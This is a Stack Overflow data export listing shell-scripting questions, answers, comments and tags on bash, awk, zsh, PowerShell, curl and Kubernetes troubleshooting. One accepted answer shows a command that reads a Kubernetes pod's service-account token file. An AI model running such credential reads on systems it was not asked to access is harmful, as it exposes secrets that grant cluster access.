http://stackoverflow.com/q/76597816
favorite count: 0
type: AnsweredQuestion
has title: Win11 custom taskbar control
has comment: http://stackoverflow.com/comment/135051609
has comment: http://stackoverflow.com/comment/135051605
score: 4
type: Question
has answer: http://stackoverflow.com/a/76718340
has body: Currently I need to display a textbox on the Windows 11 taskbar but sadly Deskbands are now deprecated, however I found a program called Performance Counter that does something like below now I want to know how this is done? This works for Windows 11 however from what I know is that there is no official API to implement a custom taskbar control
tagged with: shell
has comment: http://stackoverflow.com/comment/135051700
upvote count: 4
tagged with: taskbar
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/135054730
tagged with: winapi
tagged with: windows
accepted answer: http://stackoverflow.com/a/76718340

http://stackoverflow.com/comment/135192997
has text: Do you have a specific technical problem that prevents you from doing this yourself? For what it's worth, we have a lot of examples already in our knowledgebase of folks using awk to implement `uniq` without `sort`. (Note that to be on-topic here, a Stack Overflow question should be about a technical problem you encountered while implementing a program yourself).
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76681562

http://stackoverflow.com/q/76678432
score: 0
type: Question
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135188144
type: UnansweredQuestion
tagged with: linux
has body: I have a script which greps for particular patterns and update them. I also need the count of number of files that are updated. I need to write that count to $GITHUB_ENV During increment, the variable is assigning correct value. But when writing it to $GITHUB_ENV, it is writing initial value of the variable. counter=0 grep -ril "search_pattern" ${directory_path%/} | while IFS= read -r file; do counter=$((counter + 1)) echo "Script file: $file" done echo "COUNTER=$counter" >> $GITHUB_ENV While executing the last line - echo, it's always giving 0 for $counter even though I see the $counter getting updated inside the loop. I used set -x to see it the variable is getting updated inside the loop. and it is updating.
tagged with: bash
has comment: http://stackoverflow.com/comment/135188163
has title: Variable not assigning actual value while writing to $GITHUB_ENV
tagged with: github-actions
duplicate of: http://stackoverflow.com/q/16854280
tagged with: sh

http://stackoverflow.com/comment/135265299
score: 0
type: Comment
type: AnswerComment
has text: @AnnFlus, Just pipe the output of the command that fetches the data into the `awk` command; e.g., `kubectl top pods -A | awk -f prog.awk`.
comment on: http://stackoverflow.com/a/76683785

http://stackoverflow.com/comment/135140559
has text: @jlan160 Oups, I accidentally made it `-iE` instead of `-Ei`, try now :-)
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76650910

http://stackoverflow.com/comment/135203668
type: Comment
has text: Thanks man. I was getting intuition about the "line feed" playing some role here, but was unable to crack it, but now I ran `echo "Hello, World!" | xclip -selection c` and learnt the behaviour of echo. thanks
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76688081

http://stackoverflow.com/comment/135063248
has text: Well, as I said before, the problem is solely restricted to _helm_, which I unfortunately don't know. However, Stackoverflow provides the tag _kubernetes-helm_. I suggest that you replace all your tags with this kubernetes-helm tag, and repost the question on [su], because it is unrelated to programming and therefore not suitable for Stackoverflow anyway.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76599721

http://stackoverflow.com/comment/134971391
type: QuestionComment
has text: My bad, I solved the problem. The code should be like below import subprocess command = r'C:\Windows\System32\cmd.exe /E:ON /V:ON /K ""C:\Program Files (x86)\IntelSWTools\compilers_and_libraries_2016.8.254\windows\bin\ipsxe-comp-vars.bat" intel64 vs2013 & abaqus j=v1 inp=v1.inp user=vumat_randomFields_v3.for int & exit"' subprocess.run(command, shell=True)
type: Comment
comment on: http://stackoverflow.com/q/76551048
score: 1

http://stackoverflow.com/comment/134974193
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76550686
has text: Thank you. I am getting an error when running it on Korn shell: ```C:/Program Files (x86)/MKS Toolkit/mksnt/awk.exe: Syntax error Context is: >>> U: <<< ```

http://stackoverflow.com/comment/135203926
comment on: http://stackoverflow.com/a/76687621
has text: @CharlesDuffy How can i modify it? i tried **$echo $(awk '/0[.]0[.]0[.]0/ { match=$4 } END { print match }')** but never worked !
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135094591
score: 0
has text: Are you sure you are using the same shell session for both `env` and your Rust code?
comment on: http://stackoverflow.com/q/76622495
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76656871
type: UnansweredQuestion
answer count: 1
has title: How to alt tab to specified window application tab
has comment: http://stackoverflow.com/comment/135152800
tagged with: powershell
linked to: http://stackoverflow.com/q/12801563
has comment: http://stackoverflow.com/comment/135152915
has answer: http://stackoverflow.com/a/76656905
has body: I am trying to make a script to alt tab every X seconds to a specified application window but so far I just managed to make one that alt tabs my 2 most recent tabs, can anybody help me with how i make it to alt tab me to a process name or window application name? while($true){ Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.SendKeys]::SendWait('%{TAB}') sleep 5 }
score: 0
type: Question
tagged with: shell

http://stackoverflow.com/comment/135061248
type: Comment
has text: @pynexj i was taking a screenshot created using spectacle as the file, and when i checked the file was there and when i ran the command manually with the file name, it worked. However, your comment got me thinking that maybe the file creation took time, and so I added a delay of 1 second after the screenshot command and it seems to have worked, the uploads are now going through. Thank you for the comment. :)
score: 1
comment on: http://stackoverflow.com/q/76602223
type: QuestionComment

http://stackoverflow.com/comment/135216779
score: 0
comment on: http://stackoverflow.com/q/76688062
type: QuestionComment
has text: There is an invisible linefeed at the end, that is translated too. Try `echo -n ...` or better use `printf`.
type: Comment

http://stackoverflow.com/comment/134982688
comment on: http://stackoverflow.com/q/76550372
type: QuestionComment
type: Comment
score: 0
has text: In general, the executable for the Z-Shell (like many other shells) may behave differently depending how the executable file is named. For instance, if you would rename `zsh` to `-zsh` (or use a symlink), the behaviour will also change slightly. Don't forget that all programs get their own name as first argument, and can adapt their behaviour correspondingly.

http://stackoverflow.com/comment/135152800
type: Comment
has text: It’s going to be almost impossible to bring the *correct* application to the foreground by automating alt-tab keystrokes - how do you know how many tabs you need to send at any given time? If you google your question you’ll find a number of examples of using Powershell to find a process by window title and invoking win32 api calls to bring it to the foreground - e.g. https://stackoverflow.com/a/12802050/3156906. That has a better chance of working - have a play with some of those and see how far you can get…
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76656871

http://stackoverflow.com/comment/135103576
comment on: http://stackoverflow.com/q/76622495
type: QuestionComment
type: Comment
score: 0
has text: I see you've edited the question to include the `export` in `.zshrc`. If it's really there then you should not need a further export, but in the original question the variable was only defined in `.zshrc`, so it's a shell variable and only visible to the shell itself. It's only visible to child processes when exported, as I explained.

http://stackoverflow.com/q/76694527
tagged with: validation
downvote count: 0
score: 1
upvote count: 1
has title: How to check whether a string is a valid zsh glob pattern?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76699936
tagged with: glob
tagged with: zsh
has answer: http://stackoverflow.com/a/76699936
type: Question
tagged with: shell
has body: I'm writing a zsh program that takes glob patterns as command-line arguments: tss files --tags 'a*' # lists files bearing a tag that starts with an 'a' In order to validate input, is there a way to check whether a string is a syntactically valid glob pattern? Ideally I would be able to validate both extended and non-extended patterns, leaving to the user the choice to use either, but I'd appreciate a solution that works with only one of the two.
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/135095865
type: Comment
comment on: http://stackoverflow.com/q/76622495
score: 0
has text: It's not an **environment** variable unless you export it. Just `var=value` creates a _shell_ variable, not an _environment_ variable.
type: QuestionComment

http://stackoverflow.com/comment/135084859
type: Comment
comment on: http://stackoverflow.com/q/76616176
score: 0
has text: Your example is unclear. You don't set (or pass) any environment variable. Essentially, you invoke `qsub -v INFO=This is some info script.pbs`, i.e. casll `qsub` with 6 parameter (`-v`. `INFO=This`, `is`, `some`, `info` and `script.pbs`). AFIK, this causes qsub to set the environment variable `INFO` to _This_ in the child processes it creates.
type: QuestionComment

http://stackoverflow.com/comment/135207250
has text: I tried this and I get other data too, I think adding grep '^ ' to my command gave me the desired result.
comment on: http://stackoverflow.com/a/76690073
score: 1
type: Comment
type: AnswerComment

viewmodel
tag name: viewmodel
tags question: http://stackoverflow.com/q/76579691
type: Tag

string
tag name: string
tags question: http://stackoverflow.com/q/76703360
type: Tag
tags question: http://stackoverflow.com/q/76747469
tags question: http://stackoverflow.com/q/76770023
tags question: http://stackoverflow.com/q/77015974
tags question: http://stackoverflow.com/q/77245146
tags question: http://stackoverflow.com/q/77348599
tags question: http://stackoverflow.com/q/77369937
tags question: http://stackoverflow.com/q/77607461
tags question: http://stackoverflow.com/q/77668810
tags question: http://stackoverflow.com/q/77923000
tags question: http://stackoverflow.com/q/77911665
tags question: http://stackoverflow.com/q/77932760
tags question: http://stackoverflow.com/q/78125651
tags question: http://stackoverflow.com/q/78074380
tags question: http://stackoverflow.com/q/78334264
tags question: http://stackoverflow.com/q/78319046
tags question: http://stackoverflow.com/q/78607662
tags question: http://stackoverflow.com/q/78846018
tags question: http://stackoverflow.com/q/78855437

http://stackoverflow.com/comment/135068501
has text: Why copy the files?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76605154
score: 0

http://stackoverflow.com/comment/135175982
comment on: http://stackoverflow.com/q/76669426
has text: Thanks for your help but sorry @stark, it's not.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76545022
type: Answer
has comment: http://stackoverflow.com/comment/134961392
answers question: http://stackoverflow.com/q/76544842
score: 0
has body: Remove « sudo » and use do shell script "command" user name "username" password "pass" with administrator privileges

http://stackoverflow.com/a/76669619
type: AcceptedAnswer
has body: this was the solution: echo "Step 3: Retrieving token from pod: $pod_name" token=$(kubectl exec $pod_name -n <namespace-name> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
answers question: http://stackoverflow.com/q/76669307
type: Answer
accepted answer of: http://stackoverflow.com/q/76669307
score: 0

http://stackoverflow.com/comment/135198308
score: 0
has text: @DiegoTorresMilano, I'll also point out that I have never liked the implicit initialization of variables in Awk that depends on the context. It is useful for quick and dirty CLI invocations but should be avoided in Awk code meant to be run more than once. Explicit is usually better than implicit from a long term maintenance view point.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76683785

http://stackoverflow.com/q/76574168
tagged with: curl
has comment: http://stackoverflow.com/comment/135159166
tagged with: groovy
has body: I have a below variable : echo "${payload}" Output of Veriable is : \"G1/H77/J1\",\"G1/H77/J2\",\"G1/H77/J3\",\"G10/H77/J1\",\"G10/H77/J2\" Now, I have to pass this values to curl POST request : def VALUES_BEFORE = sh(script: 'curl -X POST "http://kub01.abc.com:345678/abc/def" -H "accept: application/json" -H "Content-Type: application/json" -d \'{\"cell_ids\": ["${payload}"]}\' | json_pp',returnStdout: true).trim() But, Curl command not taking this variable and I am unable to get the proper output. Is it the correct method I am using to pass the variable as a data to curl command? Your help would be helpful. Thanks
type: Question
has comment: http://stackoverflow.com/comment/135010868
tagged with: shell
type: UnansweredQuestion
answer count: 1
has answer: http://stackoverflow.com/a/77736123
has title: How to pass a variable in a curl command
has comment: http://stackoverflow.com/comment/135011142
has comment: http://stackoverflow.com/comment/135095846
score: 0
tagged with: jenkins
tagged with: bash
has comment: http://stackoverflow.com/comment/137045193

http://stackoverflow.com/a/76623714
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76621928
has body: The answer was that, since I had 0 tests to run, the job fail even if it returned a "success". Thank you @Vlad DX for pointing me in this direction, which didn't make sense to me at first. Chrome Headless 106.0.5249.0 (Linux x86_64): Executed 0 of 3 SUCCESS (0 secs / 0 secs) Chrome Headless 106.0.5249.0 (Linux x86_64): Executed 1 of 3 SUCCESS (0 secs / 0.078 secs) Chrome Headless 106.0.5249.0 (Linux x86_64): Executed 2 of 3 SUCCESS (0 secs / 0.093 secs) Chrome Headless 106.0.5249.0 (Linux x86_64): Executed 3 of 3 SUCCESS (0 secs / 0.103 secs) Chrome Headless 106.0.5249.0 (Linux x86_64): Executed 3 of 3 SUCCESS (0.149 secs / 0.103 secs) TOTAL: 3 SUCCESS TOTAL: 3 SUCCESS TOTAL: 3 SUCCESS =============================== Coverage summary =============================== Statements : Unknown% ( 0/0 ) Branches : Unknown% ( 0/0 ) Functions : Unknown% ( 0/0 ) Lines : Unknown% ( 0/0 ) ================================================================================ ✔ Browser application bundle generation complete. ✔ Browser application bundle generation complete. Saving cache for successful job 00:24 Creating cache default-non_protected... node_modules: found 36969 matching artifact files and directories WARNING: dist: no matching files. Ensure that the artifact path is relative to the working directory (/foo/foo/foo) coverage: found 19 matching artifact files and directories Uploading cache.zip to https://storage.googleapis.com/foo-url Created cache Cleaning up project directory and file based variables 00:01 Job succeeded

http://stackoverflow.com/a/76634076
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/135113671
has body: GNU awk has strftime / mktime: gawk ' BEGIN { print "YY,MM,DD,HH,MIN,A,B," } { fmt = "%y,%m,%d,%H,%M,"$5","$6"," datespec = "20"$1" "$2" "$3" "($4+3)" "(min+0)" 0" print strftime(fmt, mktime(datespec,1), 1) min += 10 } ' ifile.txt >ofile.txt A Perl solution is also quite short: TZ=UTC perl -MPOSIX=strftime -aE ' BEGIN { say "YY,MM,DD,HH,MIN,A,B," } say strftime "%y,%m,%d,%H,%M,$F[4],$F[5],", 0, $min, $F[3]+3, $F[2], $F[1]-1, $F[0]+100; $min += 10 ' ifile.txt >ofile.txt Perl's -a option autosplits input lines on whitespace (like awk) and stores the pieces in array @F. strftime arguments are: fmt, sec, min, hour, mday, mon, year. mon is zero-based (January = 0). year counts from 1900. Since dates will overlap daylight-savings, timezone should be set to a locale that doesn't use them.
answers question: http://stackoverflow.com/q/76633671
downvote count: 0
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76633671
has comment: http://stackoverflow.com/comment/135113599

http://stackoverflow.com/comment/135052087
type: AnswerComment
comment on: http://stackoverflow.com/a/76598099
has text: I tried `\$1` before but didn't work. A combination of `set -x` and your answer worked for me, as said in comments by @GordonDavisson
score: 0
type: Comment

http://stackoverflow.com/comment/134964905
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76545097
has text: `term[12]` is just one regular expression, OP could replace with `cat|dog` if need be.

http://stackoverflow.com/comment/135082571
type: Comment
comment on: http://stackoverflow.com/q/76616176
type: QuestionComment
score: 0
has text: @TimRoberts That yields the same error, unfortunately.

http://stackoverflow.com/comment/135027347
type: Comment
has text: shell prompt ($PS1 for example) goes to stderr, so that capture stderr and you have them there
score: 0
comment on: http://stackoverflow.com/q/76560288
type: QuestionComment

http://stackoverflow.com/comment/135061585
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76599721
has text: The YAML file is just data. You could put anything inside that multi-line string (YAML block scalar). If this is in a Helm context, I might tell you the actual right answer is to `COPY` the script into the image you're running. How does this YAML file get turned into Kubernetes manifests, and how are the other files related?

http://stackoverflow.com/comment/135130666
comment on: http://stackoverflow.com/a/76639116
score: 1
has text: Thank you and Diego for your responses. The documentation [here](https://www.gnu.org/software/sed/manual/html_node/Command_002dLine-Options.html) states that the `-n` option should cause `sed` to only produce output when explicitly told to via the `p` command. I have sent an email to bug-sed@gnu.org to report this possible issue. Thank you again for your help in understanding this behavior.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135230216
score: 1
comment on: http://stackoverflow.com/a/76698259
has text: The code I posted WILL convert blanks to underscores so you must be calling `file_proc` without quoting it's arguments or doing something else wrong outside of the code you posted but without seeing a [mcve] (ie. minimal, complete script that demonstrates your problem) it's just guesswork. Did you do what I suggested and copy/paste your code into http://shellcheck.net? Did it identify any issues and, if so, have you fixed them?
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76584370
type: Answer
has body: One possibility is that your code is running under some shell that does not like this syntax. In my test, zsh and csh does not work but bash or sh works. To make sure you are using bash for example, find out the path of bash by typing which bash And if the response is say /usr/bin/bash then add this as the very first like of your script #!/usr/bin/bash Note it has to be the first line and notice no spaces above. Make sure your script has execute permission for you - you probably have that already.
answers question: http://stackoverflow.com/q/76562116
score: 0

shell-extensions
tag name: shell-extensions
tags question: http://stackoverflow.com/q/76690713
type: Tag

http://stackoverflow.com/comment/135039887
comment on: http://stackoverflow.com/q/76590436
score: 0
type: Comment
has text: @jhnc, I don't often see libpcre left out on full-size user-oriented distros, but I wouldn't assume its presence on any kind of embedded system (or security-oriented / locked-down system -- libpcre has [occasionally had vulnerabilities](https://www.cvedetails.com/vulnerability-list/vendor_id-3265/Pcre.html)) without checking.
type: QuestionComment

http://stackoverflow.com/comment/135015345
type: QuestionComment
score: 0
has text: Save timestamp and line number of last line.
comment on: http://stackoverflow.com/q/76576781
type: Comment

http://stackoverflow.com/comment/135112243
has text: No.. it is simply 3 hours ahead. Thanks.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76633671

nested-loops
tags question: http://stackoverflow.com/q/76669795
type: Tag
tag name: nested-loops

http://stackoverflow.com/comment/135212752
comment on: http://stackoverflow.com/a/76679163
has text: Don't use a string like `_SPS_` that you hope won't occur in the input - to read the output of a command into an array when that output can contain spaces is `IFS=$'\n' read -r -d '' -a arr < <( sed '...' && printf '\0' )` where your sed command would use newlines to separate the fields, see [reading-output-of-a-command-into-an-array-in-bash](https://stackoverflow.com/a/32931403/1745001).
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/134987234
type: Comment
has text: Presumably executing a single constant query is not your real task. There are a bunch of ways to fix this problem, and which one works best depends on what your real task is.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76560632

http://stackoverflow.com/comment/135113163
has text: Indeed. `a` _does not change the pattern space_. It just causes lines to be printed. If you wanted to change the pattern space, you would have used a substitution: `$s/$/\nb/`.
type: Comment
comment on: http://stackoverflow.com/q/76633771
type: QuestionComment
score: 0

http://stackoverflow.com/q/76546737
tagged with: sh
score: 0
accepted answer: http://stackoverflow.com/a/76547459
has comment: http://stackoverflow.com/comment/134964853
type: Question
has comment: http://stackoverflow.com/comment/134964301
has body: i have two shell scripts, one is checking_file.sh, second one is mailing.sh. checking_file.sh #!/bin/bash filepath="/home/documents/hello.txt" if [ -f "$filepath" ]; then echo "file exists" else echo "file not exists" fi mailing.sh #!/bin/bash output=$(/home/documents/checking_file.sh) if [ "$output" = "file not exists" ]; then echo "trigger mail to developer" else echo "file is available in time no mail needed" fi mailing.sh should execute at last. both are different scripts. i used chmod u+r+X /home/documents/checking_file.sh in mailing.sh, but mailing.sh should execute last. mailing.sh should read the checking_file.sh, its should not execute checking_file.sh shell
tagged with: ubuntu
tagged with: bash
has comment: http://stackoverflow.com/comment/134964225
has answer: http://stackoverflow.com/a/76547459
has comment: http://stackoverflow.com/comment/134964312
has comment: http://stackoverflow.com/comment/134964091
has comment: http://stackoverflow.com/comment/134964265
has title: how to trigger a mail based on first shell echo result?
answer count: 1
has comment: http://stackoverflow.com/comment/134964713
tagged with: shell
type: AnsweredQuestion

http://stackoverflow.com/comment/134979055
comment on: http://stackoverflow.com/a/76549806
has text: That error message is saying you have a file or directory named `out` that you don't have access to when running `head`. It has nothing to do with the awk script outputfile files named `Out1..3`.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135093235
has text: Maybe it returns exit code 1 because 0 tests were run. Try to make at least one test to run.
score: 1
comment on: http://stackoverflow.com/q/76621928
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135029890
type: AnswerComment
has text: That's what `if [ -d` is for.
comment on: http://stackoverflow.com/a/76585185
score: 0
type: Comment

http://stackoverflow.com/q/76669426
linked to: http://stackoverflow.com/q/30341496
type: Question
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135172699
has body: Im a newbie building my first Linux Kernel Module. So the problem is that I built a raspberry kernel 64bit version 5.4 on Ubuntu22 and use make to create a helloworld_rpi4.ko file. The helloworld_rpi4.ko file is created successfully and then I scp it to the raspberrypi OS (rpi3-b-plus, 64bit-aarch64) that I use on QEMU-6.2. When I tried to sudo insmod it on the raspberry OS it gave me this error: `insmod: ERROR: could not insert module helloworld_rpi4.ko: Invalid module format ` My Makefile: obj-m += helloworld_rpi4.o KERNEL_DIR ?= $(HOME)/linux all: make -C $(KERNEL_DIR) \ ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- \ M=$(PWD) modules clean: make -C $(KERNEL_DIR) \ ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- \ M=$(PWD) clean deploy: scp -P 5555 *.ko pi@localhost:/home/pi/. My source code: #include <linux/module.h> static int __init hello_init(void) { pr_info("Hello world init\n"); return 0; } static void __exit hello_exit(void) { pr_info("Hello world exit\n"); } module_init(hello_init); module_exit(hello_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Alberto Liberal <aliberal@arroweurope.com>"); MODULE_DESCRIPTION("This is a print out Hello World module"); I used this code for installing cross_compile: sudo apt install crossbuild-essential-arm64 I tried to uname -r on the raspberry os and the version of its kernel is: **5.4.51-v8+**. Then I modinfo the hellowolrd_rpi4.ko and the vermagic: 5.4.83-v8+ SMP preempt mod_unload modversions aarch64. So the kernel that I built and the one on raspberry is the same but I don't know why it still gave me the error above. Any helps of you would be appreciate!
score: 0
tagged with: pi
tagged with: shell
tagged with: linux
tagged with: http://stackoverflow.com/tag/c
has title: Raspberry Kernel - insmod error: Invalid module format
has comment: http://stackoverflow.com/comment/135175982

http://stackoverflow.com/comment/135231135
type: AnswerComment
comment on: http://stackoverflow.com/a/76696254
has text: If you want to wrap the given jq in shell to do output redirections, I think from the question you already know how to do that. You can put multi-line strings in single quotes in shell so you don't even need to change the formatting.
score: 0
type: Comment

http://stackoverflow.com/comment/135090087
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76620625
type: QuestionComment
has text: What do you see when you drop the whole `-exec` part from the `find` command?

http://stackoverflow.com/comment/135036079
has text: Sure. There's nothing `curl`-specific in this question; you can build strings in your shell scripts using variables. You say, "it fails"; can you provide more details on exactly how things are failing? Does your `for` loop with the `echo` statement produce the output you expect?
type: QuestionComment
comment on: http://stackoverflow.com/q/76588508
type: Comment
score: 1

http://stackoverflow.com/comment/135040622
has text: Look at all the stuff that's in `$oldestfile`. BTW: Don't just throw random tags at a question, study their description first.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76591635

http://stackoverflow.com/comment/134988815
type: Comment
comment on: http://stackoverflow.com/q/76560288
score: 0
type: QuestionComment
has text: q is not totally clear, just info: on unix `infocmp $TERM` can display escape sequences with their terminfo/termcap descriptions

pbs
tag name: pbs
tags question: http://stackoverflow.com/q/76616176
type: Tag

http://stackoverflow.com/a/76551406
has body: there's a typo - IFS=old_IFS + IFS=$old_IFS
answers question: http://stackoverflow.com/q/76550372
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/76550372
has comment: http://stackoverflow.com/comment/134972674
upvote count: 2
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/comment/134998126
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76566816
type: QuestionComment
has text: Could you clarify what you mean by "it treats the second as if the relative path to it is the name of the file itself"? Also, how are you running the command?

http://stackoverflow.com/comment/135165837
comment on: http://stackoverflow.com/q/76664368
score: 0
has text: the code of start.php looks modified, this is likely a sign you're not asking about the real picture. isolate first before asking the question and have a clear test-subject, compare [mre]. Additionally you don't need to have the closing `?>` tag, it is often better to not use it. Even when you don't do in your own code, please keep it out from your example when posting it on Stackoverflow. More info: [Why would one omit the close tag?](https://stackoverflow.com/q/4410704/367456)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134961392
type: AnswerComment
comment on: http://stackoverflow.com/a/76545022
has text: Good point! I like "with administrator privileges" and I did not know that there is a difference in that (vs. using sudo command). But for security reasons I did not add the user, nor the password and instead of insisting to put at least the pwd once. I think that is better and I use TouchID so it wont bother me too much. Thanks a lot for the hint!
score: 1
type: Comment

http://stackoverflow.com/q/76664928
score: 0
type: Question
tagged with: shell
answer count: 0
type: UnansweredQuestion
has body: Is there a way to portably (at least Linux and macOS) get the destination of a symlink in a (Posix) shell script? In an old program, I found ls -lad "bin" 2> /dev/null | awk '{ printf ("%s\n", $11) }' which however fails when user name or group name contains spaces. stat(1) (which IMO would be the canonical solution) has different options on Linux and macOS.
has comment: http://stackoverflow.com/comment/135164812
has comment: http://stackoverflow.com/comment/135164805
has title: Portable way to read symlink destination in shell
linked to: http://stackoverflow.com/q/31596363
duplicate of: http://stackoverflow.com/q/7665
tagged with: ls
tagged with: stat
duplicate of: http://stackoverflow.com/q/31596363
tagged with: sh

windows
tag name: windows
tags question: http://stackoverflow.com/q/76597816
tags question: http://stackoverflow.com/q/76656059
type: Tag
tags question: http://stackoverflow.com/q/76690713
tags question: http://stackoverflow.com/q/76692290
tags question: http://stackoverflow.com/q/76768345
tags question: http://stackoverflow.com/q/76837122
tags question: http://stackoverflow.com/q/76718065
tags question: http://stackoverflow.com/q/77059371
tags question: http://stackoverflow.com/q/77138083
tags question: http://stackoverflow.com/q/77175255
tags question: http://stackoverflow.com/q/77278879
tags question: http://stackoverflow.com/q/77277997
tags question: http://stackoverflow.com/q/77256837
tags question: http://stackoverflow.com/q/77299995
tags question: http://stackoverflow.com/q/77258270
tags question: http://stackoverflow.com/q/77409089
tags question: http://stackoverflow.com/q/77418877
tags question: http://stackoverflow.com/q/77459090
tags question: http://stackoverflow.com/q/77670519
tags question: http://stackoverflow.com/q/77663679
tags question: http://stackoverflow.com/q/77948461
tags question: http://stackoverflow.com/q/77853768
tags question: http://stackoverflow.com/q/77927579
tags question: http://stackoverflow.com/q/78029247
tags question: http://stackoverflow.com/q/78043388
tags question: http://stackoverflow.com/q/78122871
tags question: http://stackoverflow.com/q/78311698
tags question: http://stackoverflow.com/q/78416162
tags question: http://stackoverflow.com/q/78596298
tags question: http://stackoverflow.com/q/78627733
tags question: http://stackoverflow.com/q/78693549
tags question: http://stackoverflow.com/q/78870307
tags question: http://stackoverflow.com/q/79042457
tags question: http://stackoverflow.com/q/79155042
tags question: http://stackoverflow.com/q/79193883
tags question: http://stackoverflow.com/q/79234647
tags question: http://stackoverflow.com/q/79292221
tags question: http://stackoverflow.com/q/79365707
tags question: http://stackoverflow.com/q/79359037
tags question: http://stackoverflow.com/q/79448810
tags question: http://stackoverflow.com/q/79445194
tags question: http://stackoverflow.com/q/79498594

http://stackoverflow.com/comment/135113599
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76634076
has text: gawk is convenient for. Thank you. I also want to add sqrt($5,$6) as 7th column. But it seems different to awk script. Would you please help me, how can I add this? I added, but printing sqrt($5,$6)

http://stackoverflow.com/q/76575777
has answer: http://stackoverflow.com/a/76575874
tagged with: shell
has body: I have migrated manually by referring https://github.com/git-tfs/git-tfs from my windows server. But I have lot many repos in TFS . So I have written a shell script using same commands and trying to run from git bash in same windows machine. I am facing error due to special characters. bitbucket_base_url="https://bitbucket.org/fm_ebiz/" migration_directory="E:\\Migration2" excel_file="C:/Scripts/Repos.csv" while IFS=',' read -r repo_path || -n "$repo_path" ; do repo_name=$(basename "$(dirname "$repo_path")") repo_name=${repo_name,,} echo "Repo_name: $repo_name" bitbucket_remote="$bitbucket_base_url$repo_name.git" echo "Bitbucket_remote: $bitbucket_remote" mkdir -p "$migration_directory/$repo_name" git-tfs clone "http://mytfs_url/tfs/ebi" "$repo_path" "$migration_directory\\$repo_name" echo "Repo_Path: $repo_path" cd "$migration_directory/$repo_name" pwd git remote add bitbucket "$bitbucket_remote" git pull origin master if $repo_name == "Release" ; then git push bitbucket master:"$repo_name" --set-upstream else git push bitbucket master:"$repo_name" git push bitbucket "$repo_name:$repo_name" --set-upstream fi cd "$migration_directory" rm -rf "$repo_name" done < "$excel_file"` By running above script $ ./migration.sh Repo_name: appsmgmt Bitbucket_remote: https://@bitbucket.org/fm_ebiz/<myrepo>.git TFS repository can not be root and must start with "$/". You may be able to resolve this problem. - Try using $/C:/Program Files/Git/TFS_repo path/repo/branch_name All the logs could be found in the log file: C:\Users\myuser\AppData\Local\git-tfs\git-tfs_log.txt Repo_Path: $/My TFS repo path/Its printing correctly/ /e/Migration2/<repo> fatal: not a git repository (or any of the parent directories): .git fatal: not a git repository (or any of the parent directories): .git fatal: not a git repository (or any of the parent directories): .git fatal: not a git repository (or any of the parent directories): .git Repo_name: myrepo Bitbucket_remote: https://bitbucket.org/…
tagged with: cmd
tagged with: git-bash
answer count: 1
accepted answer: http://stackoverflow.com/a/76575874
type: AnsweredQuestion
score: 0
tagged with: git-tfs
tagged with: git
type: Question
has title: Migrating TFS repo to bitbucket using shell script

http://stackoverflow.com/comment/135203814
comment on: http://stackoverflow.com/q/76687885
has text: I think the missing `}` is a copy&paste error, when I add it, the scripts run as described. I have proposed an edit that fixes that and clears up what (I assume) is the expected outcome.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/76626472
upvote count: 1
has answer: http://stackoverflow.com/a/78534484
has title: stream download very large file over bad connection
tagged with: download
has answer: http://stackoverflow.com/a/79500579
type: Question
tagged with: shell
type: UnansweredQuestion
tagged with: wget
downvote count: 0
answer count: 3
favorite count: 0
tagged with: linux
has body: I want to process a very large file (a few terabytes) as a stream. This file is accessible via http protocol and from a URL such as: http://example.com/some-file This command can do that: wget -q -O - http://some-host/some-file | process-command but if connection is lost, I must begin the process from the beginning. wget -c cannot be used because I can't store the file due to large size. Is there another command that can stream the remote file, while handling the required reconnects internally?
score: 1
has answer: http://stackoverflow.com/a/76906503

http://stackoverflow.com/comment/135149728
type: Comment
has text: Are you looking for `def data: …; reduce data[] as $item ({}; . + $item)`? Can you post the desired output to the example?
score: 2
comment on: http://stackoverflow.com/q/76656017
type: QuestionComment

http://stackoverflow.com/comment/134971369
score: 2
type: Comment
has text: On modern systems, checking the status of `getent passwd "$uid"` is a *much* more reliable way of finding if a UID is already used than scanning '/etc/passwd'.
comment on: http://stackoverflow.com/q/76551148
type: QuestionComment

http://stackoverflow.com/comment/135211768
type: Comment
